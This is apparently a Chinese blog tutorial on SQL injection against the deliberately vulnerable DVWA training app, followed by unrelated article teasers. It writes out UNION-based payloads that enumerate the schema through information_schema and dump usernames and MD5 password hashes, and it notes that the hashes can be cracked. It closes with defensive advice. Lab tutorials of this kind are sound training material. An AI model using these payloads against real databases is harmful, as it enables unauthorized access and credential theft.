DVWA 1.10 SQL注入实战:从字符型判断到用户密码获取的7步完整流程

发布时间:2026/10/6 23:14:44

DVWA 1.10 SQL注入实战:从字符型判断到用户密码获取的7步完整流程
DVWA 1.10 SQL注入实战从字符型判断到用户密码获取的7步完整流程1. 环境准备与基础概念在开始实战之前我们需要先搭建好DVWADamn Vulnerable Web Application环境。DVWA是一个专门用于安全测试的PHP/MySQL Web应用程序它包含了多种安全漏洞的模拟环境其中就包括SQL注入漏洞。SQL注入的基本原理当Web应用程序对用户输入数据的合法性没有进行充分判断或过滤时攻击者可以通过构造特殊的输入改变原有SQL查询语句的逻辑从而执行非授权的数据库操作。这种攻击方式被称为SQL注入SQL Injection。DVWA提供了四种安全级别Low完全无防护用于演示最基本的漏洞利用技术Medium添加了部分防护措施但存在明显缺陷High采用了更严格的防护但仍可能被绕过Impossible实现了完善的防护措施在本教程中我们将专注于Low安全级别的SQL注入实战。2. 判断注入类型首先我们需要确定目标是否存在SQL注入漏洞以及是哪种类型的注入。SQL注入主要分为两种类型数字型注入参数直接作为数字使用不需要引号包围字符型注入参数被单引号或双引号包围判断步骤访问DVWA的SQL Injection页面安全级别设置为Low在输入框中分别尝试以下输入1正常查询1如果报错可能是字符型注入1 and 11如果返回正常结果1 and 12如果返回空结果通过对比这些测试的返回结果我们可以确认这是一个字符型注入漏洞。这是因为输入1导致语法错误因为破坏了引号闭合1 and 11构造了一个永真条件返回了所有结果1 and 12构造了一个永假条件返回了空结果3. 猜解字段数量确定了注入类型后下一步是确定当前查询返回的字段数量。这可以通过ORDER BY子句来实现1 order by 1 # 1 order by 2 # 1 order by 3 ##是MySQL的注释符号用于注释掉查询语句后面的部分。通过逐步增加order by后面的数字当数字超过实际字段数时查询会报错。在本例中order by 1和order by 2都能正常返回order by 3报错这说明查询结果包含2个字段。为了验证这一点我们可以使用联合查询UNION SELECT1 union select 1,2 #如果这个查询成功返回结果并在页面上显示了数字1和2就确认了字段数量为2同时也知道了哪些字段会在页面上显示。4. 获取数据库信息知道了字段数量后我们可以利用MySQL的内置函数获取数据库的基本信息1 union select database(),user() #这条查询会返回database()当前数据库名称如dvwauser()当前数据库用户如rootlocalhost还可以获取更多系统信息1 union select version(),version_compile_os #这会返回version()MySQL版本号version_compile_os操作系统信息这些信息对于后续的攻击步骤非常重要因为不同版本的数据库可能有不同的特性和限制。5. 获取数据库表名MySQL的information_schema数据库包含了所有数据库的元数据信息。我们可以利用它来获取当前数据库中的所有表名1 union select table_name,table_schema from information_schema.tables where table_schemadvwa #如果遇到编码问题如Illegal mix of collations错误可以使用convert()函数1 union select convert(table_name using big5),convert(table_schema using big5) from information_schema.tables where table_schemadvwa #执行后通常会返回类似以下结果guestbookusers这表明dvwa数据库中有两个表其中users表很可能存储了用户凭证信息。6. 获取表字段名确定了目标表users后我们需要知道这个表包含哪些字段。同样使用information_schema1 union select column_name,2 from information_schema.columns where table_nameusers and table_schemadvwa #或者使用十六进制编码绕过引号限制1 union select column_name,2 from information_schema.columns where table_name0x7573657273 and table_schema0x64767761 #0x7573657273是users的十六进制0x64767761是dvwa的十六进制执行后通常会返回users表的所有字段名如user_idfirst_namelast_nameuserpasswordavatarlast_loginfailed_login其中user和password字段就是我们最感兴趣的目标。7. 提取用户凭证数据最后一步是从users表中提取用户名和密码1 union select user,password from users #如果遇到编码问题同样可以使用convert1 union select convert(user using big5),convert(password using big5) from users #执行后会返回所有用户的用户名和密码哈希值。DVWA默认使用MD5加密密码例如admin / 5f4dcc3b5aa765d61d8327deb882cf99可以使用在线MD5解密工具或彩虹表来破解这些哈希值。例如上面的哈希对应明文密码password。防御建议虽然本文重点在于演示攻击技术但了解防御措施同样重要。以下是一些基本的SQL注入防御方法使用参数化查询预编译语句$stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $id]);输入验证和过滤对用户输入进行严格的白名单验证使用专门的过滤函数如mysqli_real_escape_string最小权限原则数据库用户只应拥有必要的最小权限避免使用root或高权限账户连接数据库错误处理避免向用户显示详细的数据库错误信息使用自定义的错误页面Web应用防火墙(WAF)部署WAF可以拦截常见的SQL注入攻击模式

相关新闻

BEVFormer 可形变注意力解析:对比3种注意力机制,计算效率提升40%

BEVFormer 可形变注意力解析:对比3种注意力机制,计算效率提升40%

2026/10/1 20:08:29

BEVFormer可形变注意力机制深度解析:3种注意力机制对比与40%计算效率提升的关键1. 可形变注意力机制的创新设计在自动驾驶感知领域,BEVFormer通过引入可形变注意力(Deformable Attention)机制,成功解决了传统Transform…

OpenCode:专为NAS设计的轻量AI编程工作台

OpenCode:专为NAS设计的轻量AI编程工作台

2026/9/3 0:50:25

1. OpenCode 是什么?不是另一个“在线 VS Code”,而是 NAS 上跑得动的 AI 编程工作台 你有没有过这种体验:想在下班路上改一行 Python 脚本,却发现公司内网连不上;想给家里的树莓派 NAS 加个轻量 IDE,结果发…

当 AI 生成的样式需要一间独立房间:Shadow DOM 与 CSS Modules 的样式隔离对决

当 AI 生成的样式需要一间独立房间:Shadow DOM 与 CSS Modules 的样式隔离对决

2026/10/1 15:53:00

当 AI 生成的样式需要一间独立房间:Shadow DOM 与 CSS Modules 的样式隔离对决 一、深度引言与场景痛点 AI 生成的组件代码带着自己的样式行李——一段 CSS 声明打包在组件内部,颜色、间距、字号都是自给自足的。当这段代码进入设计系统仓库,…

CANN/GE ACL数据集缓冲区添加函数

CANN/GE ACL数据集缓冲区添加函数

2026/10/6 23:38:49

aclmdlAddDatasetBuffer 【免费下载链接】ge GE(Graph Engine)是面向昇腾的图编译器和执行器,提供了计算图优化、多流并行、内存复用和模型下沉等技术手段,加速模型执行效率,减少模型内存占用。 GE 提供对 PyTorch、Te…

用ffmpeg高效批量调整图片尺寸的实战指南

用ffmpeg高效批量调整图片尺寸的实战指南

2026/10/5 16:54:26

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

2026/10/7 2:07:10

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱 【免费下载链接】transformers 🤗 Transformers: the model-definition framework for state-of-the-art machine learning models in text, vision, audio, and mu…

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

2026/10/5 21:04:58

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system sup…

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

2026/10/5 15:05:44

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

2026/10/6 21:46:12

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system supporting mi…